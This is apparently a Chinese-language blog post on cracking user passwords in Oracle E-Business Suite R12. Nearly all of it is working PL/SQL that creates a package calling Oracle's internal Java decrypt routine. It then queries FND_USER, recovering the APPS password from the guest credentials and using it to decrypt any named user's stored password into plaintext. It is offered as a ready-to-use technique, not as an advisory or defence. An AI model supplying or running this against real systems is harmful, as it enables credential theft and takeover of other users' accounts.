Oracle EBS R12下如何破解用户密码

 

前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码。

 

1.创建Package,这个package会调用内部的解码类

--创建Package Head
CREATE OR REPLACE PACKAGE GET_PWD AS
  FUNCTION DECRYPT(KEY   IN VARCHAR2,
                   VALUE IN VARCHAR2) RETURN VARCHAR2;
END GET_PWD;
/

--创建Package Body  
CREATE OR REPLACE PACKAGE BODY GET_PWD AS
  FUNCTION DECRYPT(KEY   IN VARCHAR2,
                   VALUE IN VARCHAR2) RETURN VARCHAR2 AS
    LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END GET_PWD;
/

 2.查询用户

SELECT USR.USER_NAME,
       GET_PWD.DECRYPT((SELECT (SELECT GET_PWD.DECRYPT(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                      USERTABLE.ENCRYPTED_FOUNDATION_PASSWORD)
                                 FROM DUAL) AS APPS_PASSWORD
                         FROM APPS.FND_USER USERTABLE
                        WHERE USERTABLE.USER_NAME =
                              (SELECT SUBSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                             1,
                                             INSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
                                                   '/') - 1)
                                 FROM DUAL)),
                       USR.ENCRYPTED_USER_PASSWORD) PASSWORD
  FROM APPS.FND_USER USR
 WHERE USR.USER_NAME = '&USER_NAME';

 

 

你可能感兴趣的:(oracle)